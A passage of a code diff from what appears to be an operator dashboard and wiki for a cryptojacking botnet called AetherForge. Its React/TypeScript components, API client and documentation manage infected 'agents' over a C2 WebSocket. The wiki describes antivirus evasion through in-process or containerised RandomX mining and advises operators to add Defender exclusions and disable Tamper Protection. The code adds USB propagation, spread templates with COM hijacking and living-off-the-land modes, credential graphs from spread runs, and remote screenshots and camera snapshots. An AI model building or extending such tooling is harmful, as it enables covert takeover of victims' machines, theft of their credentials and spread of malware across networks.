probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
|
||||
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
|
||||
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
|
||||
pure-Go RandomX (no external CPU miner binary).
|
||||
</p>
|
||||
|
||||
<h3>Honest AV expectations</h3>
|
||||
<ul>
|
||||
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
|
||||
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
|
||||
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Forge options</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
|
||||
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
|
||||
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
|
||||
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Operator setup</h3>
|
||||
<ol>
|
||||
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
|
||||
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
|
||||
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
|
||||
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
|
||||
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Architecture</h3>
|
||||
<pre>
|
||||
┌──────────────── Host (agent.exe) ────────────────┐
|
||||
│ WebSocket C2 · commands · stats · GPU supervisor │
|
||||
│ │ docker run │
|
||||
│ ▼ │
|
||||
│ ┌──────────── OCI container ────────────┐ │
|
||||
│ │ agent-worker · RandomX · Stratum/C2 │ │
|
||||
│ └───────────────────────────────────────┘ │
|
||||
└──────────────────────────────────────────────────┘
|
||||
</pre>
|
||||
<h3>Mining fallback chain</h3>
|
||||
<p>
|
||||
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
|
||||
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
|
||||
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
|
||||
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
|
||||
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
|
||||
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
|
||||
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
|
||||
</p>
|
||||
<p>
|
||||
When the container exits, the chain advances to in-process automatically.
|
||||
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
|
||||
container is healthy.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 7b. Platform Matrix -->
|
||||
<section id="platform-matrix">
|
||||
<h2>Platform Matrix</h2>
|
||||
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
|
||||
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
|
||||
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
|
||||
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
|
||||
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
|
||||
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
|
||||
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
|
||||
</tbody>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -271,7 +271,7 @@ export const api = {
|
||||
}),
|
||||
|
||||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||
}),
|
||||
@@ -302,6 +302,33 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
getServiceGraph: async (params: {
|
||||
agentId?: string;
|
||||
subnet?: string;
|
||||
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
|
||||
const q = new URLSearchParams();
|
||||
if (params.agentId) q.set('agent_id', params.agentId);
|
||||
if (params.subnet) q.set('subnet', params.subnet);
|
||||
const qs = q.toString();
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
|
||||
`/spread/service-graph${qs ? `?${qs}` : ''}`,
|
||||
);
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||||
pushFleetPolicy: (body: {
|
||||
agent_ids: string[];
|
||||
@@ -394,6 +421,31 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportSpreadTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
com_hijack?: boolean;
|
||||
lotl_mode?: string;
|
||||
agent_path?: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
@@ -401,7 +453,27 @@ export const api = {
|
||||
body: JSON.stringify({ agent_ids: agentIds }),
|
||||
}),
|
||||
getTraceStatus: (id: string) =>
|
||||
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
|
||||
fetchJSON<{
|
||||
session_id: string;
|
||||
ready: boolean;
|
||||
error?: string;
|
||||
hops: PathTraceHop[];
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discover_in_progress?: boolean;
|
||||
discover_error?: string;
|
||||
discovered_at?: string;
|
||||
}>(`/pathtrace/${id}/status`),
|
||||
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
error?: string;
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discovered_at?: string;
|
||||
}>('/pathtrace/discover', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
|
||||
}),
|
||||
getTraceQR: (id: string) =>
|
||||
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
|
||||
deleteTrace: (id: string) =>
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import { lotlTierLabel } from '../../help/warRoomTelemetry';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
@@ -95,6 +96,11 @@ export default function AgentListItem({
|
||||
c:{agent.campaign}
|
||||
</span>
|
||||
)}
|
||||
{lotlTierLabel(agent.lotl_tier) && (
|
||||
<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
|
||||
{lotlTierLabel(agent.lotl_tier)}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
|
||||
@@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||
import LotlAttemptsList from './LotlAttemptsList';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import { parseTierReport, type TierAttempt } from '../../types/lotl';
|
||||
import './AgentRemoteActions.css';
|
||||
import './FullSysCheckPanel.css';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
@@ -66,6 +69,12 @@ export default function AgentRemoteActions({
|
||||
const [regValue, setRegValue] = useState('');
|
||||
const [regType, setRegType] = useState('REG_SZ');
|
||||
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||
const [miningDiag, setMiningDiag] = useState<{
|
||||
lotl_tier?: string;
|
||||
lotl_attempts: TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
likely_blockers: string[];
|
||||
} | null>(null);
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
@@ -135,6 +144,17 @@ export default function AgentRemoteActions({
|
||||
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||
}
|
||||
if (agent.lotl_tier) {
|
||||
parts.push(`LOTL ${agent.lotl_tier}`);
|
||||
}
|
||||
if (agent.active_method) {
|
||||
const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method;
|
||||
parts.push(`Mining ${method}`);
|
||||
}
|
||||
if (agent.failed_methods && agent.failed_methods.length > 0) {
|
||||
const last = agent.failed_methods[agent.failed_methods.length - 1];
|
||||
parts.push(`Fallback ${last.method} failed`);
|
||||
}
|
||||
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||
}, [agent, showLiveStats, addLog]);
|
||||
@@ -164,6 +184,37 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||
setSysCheckReport(null);
|
||||
}
|
||||
} else if (action === 'mining_diagnostics') {
|
||||
if (success && message) {
|
||||
const jsonStart = message.indexOf('{');
|
||||
if (jsonStart >= 0) {
|
||||
try {
|
||||
const parsed = JSON.parse(message.slice(jsonStart)) as Record<string, unknown>;
|
||||
const tierFields = parseTierReport(parsed);
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
setMiningDiag({
|
||||
...tierFields,
|
||||
likely_blockers: Array.isArray(blockers)
|
||||
? blockers.filter((b): b is string => typeof b === 'string')
|
||||
: [],
|
||||
});
|
||||
const wins = tierFields.lotl_attempts.filter((a) => a.ok).length;
|
||||
const fails = tierFields.lotl_attempts.length - wins;
|
||||
addLog(
|
||||
`✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`,
|
||||
);
|
||||
} catch {
|
||||
addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON');
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`);
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`);
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else if (action === 'tunnel_status' && success && message) {
|
||||
setTunnelStatusMsg(message);
|
||||
} else if (action === 'screenshot' || action === 'camera_snapshot') {
|
||||
@@ -183,7 +234,7 @@ export default function AgentRemoteActions({
|
||||
} else if (!liveViewRef.current || action !== 'screenshot') {
|
||||
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action && action !== 'full_sys_check') {
|
||||
} else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') {
|
||||
const icon = success ? '✓' : '✗';
|
||||
const preview =
|
||||
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
|
||||
@@ -234,6 +285,10 @@ export default function AgentRemoteActions({
|
||||
setSysCheckReport(null);
|
||||
addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`);
|
||||
}
|
||||
if (action === 'mining_diagnostics') {
|
||||
setMiningDiag(null);
|
||||
addLog(`◈ Running mining diagnostics on ${agentName}…`);
|
||||
}
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
@@ -372,6 +427,9 @@ export default function AgentRemoteActions({
|
||||
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||
)}
|
||||
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||
{!isFleet && agent?.lotl_tier && (
|
||||
<LotlTierBadge tier={agent.lotl_tier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -416,6 +474,15 @@ export default function AgentRemoteActions({
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!isOnline || !!busy}
|
||||
title="JSON report: execution mode, pause state, job delivery, GPU subprocess, Defender RTP"
|
||||
onClick={() => dispatch('mining_diagnostics')}
|
||||
>
|
||||
Mining Diagnostics
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -737,6 +804,41 @@ export default function AgentRemoteActions({
|
||||
/>
|
||||
)}
|
||||
|
||||
{miningDiag && !compact && (
|
||||
<div style={{ marginBottom: '1rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.35rem' }}>
|
||||
<span className="font-tech" style={{ fontSize: '0.72rem', color: 'var(--neon-cyan)' }}>
|
||||
MINING DIAGNOSTICS
|
||||
</span>
|
||||
{miningDiag.lotl_tier && (
|
||||
<LotlTierBadge tier={miningDiag.lotl_tier} attempts={miningDiag.lotl_attempts} variant="inline" />
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="terminal-clear-btn"
|
||||
style={{ marginLeft: 'auto' }}
|
||||
onClick={() => setMiningDiag(null)}
|
||||
>
|
||||
DISMISS
|
||||
</button>
|
||||
</div>
|
||||
<LotlAttemptsList
|
||||
attempts={miningDiag.lotl_attempts}
|
||||
activeTier={miningDiag.lotl_tier}
|
||||
miningHashrate={miningDiag.mining_hashrate}
|
||||
/>
|
||||
{miningDiag.likely_blockers.length > 0 && (
|
||||
<ul className="rich-blocker-list" style={{ marginTop: '0.35rem', paddingLeft: '1rem' }}>
|
||||
{miningDiag.likely_blockers.map((b, i) => (
|
||||
<li key={i} className="rich-blocker-item" style={{ fontSize: '0.72rem', color: '#ccc' }}>
|
||||
{b}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
|
||||
@@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate }
|
||||
>
|
||||
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
|
||||
<p className="form-hint">
|
||||
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Fleet Roster and Crucible.
|
||||
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Crucible for bulk commands.
|
||||
</p>
|
||||
<form onSubmit={submit}>
|
||||
<label className="label" htmlFor="fleet-group-name">Group name</label>
|
||||
|
||||
78
server/web/src/components/Fleet/CredentialGraphTable.tsx
Normal file
78
server/web/src/components/Fleet/CredentialGraphTable.tsx
Normal file
@@ -0,0 +1,78 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { CredentialSubnetEdge } from '../../types/recon';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
export default function CredentialGraphTable() {
|
||||
const [rows, setRows] = useState<CredentialSubnetEdge[] | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [unavailable, setUnavailable] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
void api
|
||||
.getCredentialGraph()
|
||||
.then((data) => {
|
||||
if (cancelled) return;
|
||||
if (!data) {
|
||||
setUnavailable(true);
|
||||
setRows([]);
|
||||
return;
|
||||
}
|
||||
setRows(data.subnets ?? []);
|
||||
setUnavailable(false);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) {
|
||||
setUnavailable(true);
|
||||
setRows([]);
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
if (loading) {
|
||||
return <p className="recon-graph-empty">Loading credential graph…</p>;
|
||||
}
|
||||
|
||||
if (unavailable) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Credential graph API not available yet — edges appear after spread runs record cred affinity.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (!rows?.length) {
|
||||
return <p className="recon-graph-empty">No credential edges recorded.</p>;
|
||||
}
|
||||
|
||||
return (
|
||||
<table className="recon-graph-table" aria-label="Credential graph by subnet">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>SUBNET</th>
|
||||
<th>EDGES</th>
|
||||
<th>OK</th>
|
||||
<th>FAIL</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((row) => (
|
||||
<tr key={row.subnet}>
|
||||
<td>{row.subnet}</td>
|
||||
<td>{row.edges}</td>
|
||||
<td>{row.success_count ?? '—'}</td>
|
||||
<td>{row.fail_count ?? '—'}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
);
|
||||
}
|
||||
63
server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx
Normal file
63
server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx
Normal file
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import CrucibleAgentMeta from './CrucibleAgentMeta';
|
||||
import { api } from '../../api/client';
|
||||
import { mockAgent } from '../../test/fixtures';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
updateAgentMeta: vi.fn(),
|
||||
deleteAgent: vi.fn(),
|
||||
sendAgentCommand: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
const updateMetaMock = vi.mocked(api.updateAgentMeta);
|
||||
const deleteAgentMock = vi.mocked(api.deleteAgent);
|
||||
|
||||
describe('CrucibleAgentMeta', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
updateMetaMock.mockResolvedValue({
|
||||
success: true,
|
||||
agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }),
|
||||
});
|
||||
deleteAgentMock.mockResolvedValue({ success: true });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('saves notes and tags via API', async () => {
|
||||
const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] });
|
||||
render(<CrucibleAgentMeta agent={agent} />);
|
||||
const user = userEvent.setup();
|
||||
const notes = screen.getByPlaceholderText('Notes about this machine…');
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'Living room PC');
|
||||
const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(screen.getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(() => {
|
||||
expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']);
|
||||
});
|
||||
expect(await screen.findByText('Saved')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('deletes agent from roster after confirm', async () => {
|
||||
const agent = mockAgent({ id: 'del-1', name: 'Delete Me' });
|
||||
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
|
||||
render(<CrucibleAgentMeta agent={agent} />);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' }));
|
||||
await waitFor(() => {
|
||||
expect(deleteAgentMock).toHaveBeenCalledWith('del-1');
|
||||
});
|
||||
confirmSpy.mockRestore();
|
||||
});
|
||||
});
|
||||
132
server/web/src/components/Fleet/CrucibleAgentMeta.tsx
Normal file
132
server/web/src/components/Fleet/CrucibleAgentMeta.tsx
Normal file
@@ -0,0 +1,132 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent } from '../../types';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
onUpdated?: (agent: Agent) => void;
|
||||
}
|
||||
|
||||
export default function CrucibleAgentMeta({ agent, onUpdated }: Props) {
|
||||
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
|
||||
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [msg, setMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMsg('');
|
||||
}, [agent.id, agent.notes, agent.tags]);
|
||||
|
||||
const save = async () => {
|
||||
setSaving(true);
|
||||
setMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(agent.id, notesDraft, tags);
|
||||
onUpdated?.(res.agent);
|
||||
setMsg('Saved');
|
||||
setTimeout(() => setMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const deleteFromRoster = async () => {
|
||||
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
|
||||
try {
|
||||
await api.deleteAgent(agent.id);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
const uninstallAndDelete = async () => {
|
||||
const label = agent.status === 'online'
|
||||
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
|
||||
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
|
||||
if (!window.confirm(label)) return;
|
||||
if (agent.status === 'online') {
|
||||
try {
|
||||
await api.sendAgentCommand(agent.id, 'uninstall', {});
|
||||
} catch {
|
||||
// Non-fatal — proceed to delete the record regardless
|
||||
}
|
||||
}
|
||||
try {
|
||||
await api.deleteAgent(agent.id);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="crucible-agent-meta" style={{
|
||||
display: 'flex',
|
||||
flexDirection: 'column',
|
||||
gap: '0.5rem',
|
||||
marginBottom: '1rem',
|
||||
padding: '0.75rem 1rem',
|
||||
background: 'rgba(0,245,255,0.04)',
|
||||
border: '1px solid rgba(0,245,255,0.18)',
|
||||
borderRadius: '8px',
|
||||
}}>
|
||||
<div className="font-tech" style={{ fontSize: '0.72rem', letterSpacing: '0.1em', color: 'var(--neon-cyan)' }}>
|
||||
NOTES & TAGS
|
||||
</div>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Labels like "Living room PC" or "Rack B" — stored on the server, shown on node cards.
|
||||
</p>
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div>
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={saving} onClick={() => void save()}>
|
||||
{saving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{agent.status === 'online' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
|
||||
onClick={() => void uninstallAndDelete()}
|
||||
title="Send uninstall command to agent, then remove from roster"
|
||||
>
|
||||
Uninstall + Delete
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
|
||||
onClick={() => void deleteFromRoster()}
|
||||
title="Remove this machine from the fleet roster permanently"
|
||||
>
|
||||
Delete from Roster
|
||||
</button>
|
||||
{msg && <span className="form-hint">{msg}</span>}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -30,6 +30,18 @@ vi.mock('./FileManager', () => ({
|
||||
default: () => <div data-testid="file-manager" />,
|
||||
}));
|
||||
|
||||
vi.mock('./CredentialGraphTable', () => ({
|
||||
default: () => <div data-testid="credential-graph-table" />,
|
||||
}));
|
||||
|
||||
vi.mock('./ServiceGraphSummary', () => ({
|
||||
default: () => <div data-testid="service-graph-summary" />,
|
||||
}));
|
||||
|
||||
vi.mock('./SpreadTemplateExportPanel', () => ({
|
||||
